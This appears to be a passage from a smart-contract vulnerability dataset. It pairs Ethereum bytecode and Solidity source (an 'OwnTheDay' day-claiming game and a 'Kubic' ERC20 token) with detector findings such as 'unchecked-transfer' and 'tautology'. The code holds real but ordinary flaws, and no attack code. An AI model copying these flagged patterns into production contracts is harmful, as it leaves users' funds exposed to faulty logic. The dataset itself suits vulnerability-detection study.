0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80638da5cb5b1161005b5780638da5cb5b146100f4578063d96a094a14610128578063e49cb2fb14610156578063f2fde38b146101a45761007d565b80632ca6853e146100825780632eb246c5146100b6578063715018a6146100ea575b600080fd5b61008a6101e8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100be61020e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100f2610234565b005b6100fc6103ba565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101546004803603602081101561013e57600080fd5b81019080803590602001909291905050506103e3565b005b6101a26004803603604081101561016c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082d565b005b6101e6600480360360208110156101ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae8565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61023c610cf3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146102fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b80600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561046d57600080fd5b505afa158015610481573d6000803e3d6000fd5b505050506040513d602081101561049757600080fd5b810190808051906020019092919050505010156104b357600080fd5b6000606482816104bf57fe5b04905080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561054c57600080fd5b505afa158015610560573d6000803e3d6000fd5b505050506040513d602081101561057657600080fd5b8101908080519060200190929190505050101561059257600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561064357600080fd5b505af1158015610657573d6000803e3d6000fd5b505050506040513d602081101561066d57600080fd5b810190808051906020019092919050505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636493dc24836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156106f457600080fd5b505af1158015610708573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561079f57600080fd5b505af11580156107b3573d6000803e3d6000fd5b505050506040513d60208110156107c957600080fd5b8101908080519060200190929190505050503373ffffffffffffffffffffffffffffffffffffffff167fc55650ccda1011e1cdc769b1fbf546ebb8c97800b6072b49e06cd560305b1d67836040518082815260200191505060405180910390a25050565b610835610cf3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561095057600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561098957600080fd5b808273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109f157600080fd5b505afa158015610a05573d6000803e3d6000fd5b505050506040513d6020811015610a1b57600080fd5b81019080805190602001909291905050501015610a3757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610aa857600080fd5b505af1158015610abc573d6000803e3d6000fd5b505050506040513d6020811015610ad257600080fd5b8101908080519060200190929190505050505050565b610af0610cf3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610cfc6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60003390509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220200a5b0f15afe9285f3420ded71085bd09d18a757c32c63e65f206e1549ad02464736f6c63430007010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,119 |
0xd35ef25873bd9ba3e67dccd1a5634f49a32e44f0
|
// OwnTheDay Source code
// copyright 2018 xeroblood <https://owntheday.io>
pragma solidity 0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
Unpause();
}
}
/**
* @title Helps contracts guard agains reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private reentrancyLock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
/// @title Own the Day!
/// @author xeroblood (https://owntheday.io)
contract OwnTheDay is Pausable, ReentrancyGuard {
using SafeMath for uint256;
event DayClaimed(address buyer, address seller, uint16 dayIndex, uint256 newPrice);
/// @dev A mapping from Day Index to Current Price.
/// Initial Price set at 1 finney (1/1000th of an ether).
mapping (uint16 => uint256) public dayIndexToPrice;
/// @dev A mapping from Day Index to the address owner. Days with
/// no valid owner address are assigned to contract owner.
mapping (uint16 => address) public dayIndexToOwner;
/// @dev A mapping from Account Address to Nickname.
mapping (address => string) public ownerAddressToName;
/// @dev Calculate the Final Sale Price after the Owner-Cut has been calculated
function calculateOwnerCut(uint256 price) public pure returns (uint256) {
uint8 percentCut = 5;
if (price > 5000 finney) {
percentCut = 2;
} else if (price > 500 finney) {
percentCut = 3;
} else if (price > 250 finney) {
percentCut = 4;
}
return price.mul(percentCut).div(100);
}
/// @dev Calculate the Price Increase based on the current Purchase Price
function calculatePriceIncrease(uint256 price) public pure returns (uint256) {
uint8 percentIncrease = 100;
if (price > 5000 finney) {
percentIncrease = 15;
} else if (price > 2500 finney) {
percentIncrease = 18;
} else if (price > 500 finney) {
percentIncrease = 26;
} else if (price > 250 finney) {
percentIncrease = 36;
}
return price.mul(percentIncrease).div(100);
}
/// @dev Gets the Current (or Default) Price of a Day
function getPriceByDayIndex(uint16 dayIndex) public view returns (uint256) {
require(dayIndex >= 0 && dayIndex < 366);
uint256 price = dayIndexToPrice[dayIndex];
if (price == 0) { price = 1 finney; }
return price;
}
/// @dev Sets the Nickname for an Account Address
function setAccountNickname(string nickname) public whenNotPaused {
require(msg.sender != address(0));
require(bytes(nickname).length > 0);
ownerAddressToName[msg.sender] = nickname;
}
/// @dev Claim a Day for Your Very Own!
/// The Purchase Price is Paid to the Previous Owner
function claimDay(uint16 dayIndex) public nonReentrant whenNotPaused payable {
require(msg.sender != address(0));
require(dayIndex >= 0 && dayIndex < 366);
// Prevent buying from self
address buyer = msg.sender;
address seller = dayIndexToOwner[dayIndex];
require(buyer != seller);
// Get Amount Paid
uint256 amountPaid = msg.value;
// Get Current Purchase Price from Index and ensure enough was Paid
uint256 purchasePrice = dayIndexToPrice[dayIndex];
if (purchasePrice == 0) {
purchasePrice = 1 finney; // == 0.001 ether or 1000000000000000 wei
}
require(amountPaid >= purchasePrice);
// If too much was paid, track the change to be returned
uint256 changeToReturn = 0;
if (amountPaid > purchasePrice) {
changeToReturn = amountPaid.sub(purchasePrice);
amountPaid -= changeToReturn;
}
// Calculate New Purchase Price and update storage
uint256 priceIncrease = calculatePriceIncrease(purchasePrice);
uint256 newPurchasePrice = purchasePrice.add(priceIncrease);
dayIndexToPrice[dayIndex] = newPurchasePrice;
// Calculate Sale Price after Owner-Cut and update Owner Balance
uint256 ownerCut = calculateOwnerCut(amountPaid);
uint256 salePrice = amountPaid.sub(ownerCut);
// Assign Day to New Owner
dayIndexToOwner[dayIndex] = buyer;
// Fire Claim Event
DayClaimed(buyer, seller, dayIndex, newPurchasePrice);
// Transfer Funds (Initial sales are made to owner)
if (seller != address(0)) {
owner.transfer(ownerCut);
seller.transfer(salePrice);
} else {
owner.transfer(salePrice.add(ownerCut));
}
if (changeToReturn > 0) {
buyer.transfer(changeToReturn);
}
}
}
|
0x6060604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806312d9e1a5146100ca578063205f3b58146101055780633f4ba83a1461013c5780634d9994e8146101515780635c975abb146101ae578063611c4662146101db57806381d693be146102165780638456cb59146102325780638da5cb5b14610247578063ebd8fde31461029c578063f2fde38b146102d3578063f6c3ce331461030c578063fa76b497146103be575b600080fd5b34156100d557600080fd5b6100ef600480803561ffff16906020019091905050610425565b6040518082815260200191505060405180910390f35b341561011057600080fd5b610126600480803590602001909190505061043d565b6040518082815260200191505060405180910390f35b341561014757600080fd5b61014f6104be565b005b341561015c57600080fd5b6101ac600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061057c565b005b34156101b957600080fd5b6101c161063b565b604051808215151515815260200191505060405180910390f35b34156101e657600080fd5b610200600480803561ffff1690602001909190505061064e565b6040518082815260200191505060405180910390f35b610230600480803561ffff169060200190919050506106b1565b005b341561023d57600080fd5b610245610b82565b005b341561025257600080fd5b61025a610c42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102a757600080fd5b6102bd6004808035906020019091905050610c67565b6040518082815260200191505060405180910390f35b34156102de57600080fd5b61030a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d02565b005b341561031757600080fd5b610343600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e57565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610383578082015181840152602081019050610368565b50505050905090810190601f1680156103b05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103c957600080fd5b6103e3600480803561ffff16906020019091905050610f07565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60016020528060005260406000206000915090505481565b60008060059050674563918244f4000083111561045d576002905061048d565b6706f05b59d3b20000831115610476576003905061048c565b6703782dace9d9000083111561048b57600490505b5b5b6104b660646104a88360ff1686610f3a90919063ffffffff16565b610f7590919063ffffffff16565b915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561051957600080fd5b600060149054906101000a900460ff16151561053457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600060149054906101000a900460ff1615151561059857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156105d457600080fd5b600081511115156105e457600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190610637929190610fc7565b5050565b600060149054906101000a900460ff1681565b60008060008361ffff161015801561066b575061016e8361ffff16105b151561067657600080fd5b600160008461ffff1661ffff16815260200190815260200160002054905060008114156106a85766038d7ea4c6800090505b80915050919050565b60008060008060008060008060008060159054906101000a900460ff161515156106da57600080fd5b6001600060156101000a81548160ff021916908315150217905550600060149054906101000a900460ff1615151561071157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561074d57600080fd5b60008a61ffff1610158015610767575061016e8a61ffff16105b151561077257600080fd5b339850600260008b61ffff1661ffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1697508773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16141515156107ee57600080fd5b349650600160008b61ffff1661ffff16815260200190815260200160002054955060008614156108235766038d7ea4c6800095505b85871015151561083257600080fd5b6000945085871115610859576108518688610f9090919063ffffffff16565b945084870396505b61086286610c67565b93506108778487610fa990919063ffffffff16565b925082600160008c61ffff1661ffff168152602001908152602001600020819055506108a28761043d565b91506108b78288610f9090919063ffffffff16565b905088600260008c61ffff1661ffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f633f3e5ce44916d7739b2341a1b45be0825603d2a5f653bc89ce887e0e390e3089898c86604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018361ffff1661ffff16815260200182815260200194505050505060405180910390a1600073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16141515610a9e576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610a5957600080fd5b8773ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610a9957600080fd5b610b12565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc610aec8484610fa990919063ffffffff16565b9081150290604051600060405180830381858888f193505050501515610b1157600080fd5b5b6000851115610b5c578873ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501515610b5b57600080fd5b5b60008060156101000a81548160ff02191690831515021790555050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bdd57600080fd5b600060149054906101000a900460ff16151515610bf957600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060649050674563918244f40000831115610c8757600f9050610cd1565b6722b1c8c1227a0000831115610ca05760129050610cd0565b6706f05b59d3b20000831115610cb957601a9050610ccf565b6703782dace9d90000831115610cce57602490505b5b5b5b610cfa6064610cec8360ff1686610f3a90919063ffffffff16565b610f7590919063ffffffff16565b915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d5d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610d9957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60036020528060005260406000206000915090508054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eff5780601f10610ed457610100808354040283529160200191610eff565b820191906000526020600020905b815481529060010190602001808311610ee257829003601f168201915b505050505081565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000841415610f4f5760009150610f6e565b8284029050828482811515610f6057fe5b04141515610f6a57fe5b8091505b5092915050565b6000808284811515610f8357fe5b0490508091505092915050565b6000828211151515610f9e57fe5b818303905092915050565b6000808284019050838110151515610fbd57fe5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061100857805160ff1916838001178555611036565b82800160010185558215611036579182015b8281111561103557825182559160200191906001019061101a565b5b5090506110439190611047565b5090565b61106991905b8082111561106557600081600090555060010161104d565b5090565b905600a165627a7a723058202fd00ea881ed18a91190cf7875b003d51871aa24fd0d4d7091191e5f2fd5541c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 9,120 |
0xa17c4ec994fada57e3a8bcaee70d45c276831249
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Kubic is BurnableToken, Ownable {
//you just have to touch these 4 lines don't touch anything else , else you might break the code.
string public constant name = "Kubic";//here you define the name
string public constant symbol = "KIC";//here yuou define the symbol of token
uint public constant decimals = 8; //just till here.
uint256 public constant initialSupply = 300000000 * (10 ** uint256(decimals));//500crore right yes ok let's deploy it now
// Constructor
function Kubic() {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
}
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f1578063313ce5671461026a578063378dc3dc1461029357806342966c68146102bc57806366188463146102df57806370a08231146103395780638da5cb5b1461038657806395d89b41146103db578063a9059cbb14610469578063d73dd623146104c3578063dd62ed3e1461051d578063f2fde38b14610589575b600080fd5b34156100eb57600080fd5b6100f36105c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105fb565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db6106ed565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106f3565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61027d6109df565b6040518082815260200191505060405180910390f35b341561029e57600080fd5b6102a66109e4565b6040518082815260200191505060405180910390f35b34156102c757600080fd5b6102dd60048080359060200190919050506109f2565b005b34156102ea57600080fd5b61031f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b55565b604051808215151515815260200191505060405180910390f35b341561034457600080fd5b610370600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610de6565b6040518082815260200191505060405180910390f35b341561039157600080fd5b610399610e2f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103e657600080fd5b6103ee610e55565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042e578082015181840152602081019050610413565b50505050905090810190601f16801561045b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047457600080fd5b6104a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e8e565b604051808215151515815260200191505060405180910390f35b34156104ce57600080fd5b610503600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611064565b604051808215151515815260200191505060405180910390f35b341561052857600080fd5b610573600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611260565b6040518082815260200191505060405180910390f35b341561059457600080fd5b6105c0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112e7565b005b6040805190810160405280600581526020017f4b7562696300000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561073257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff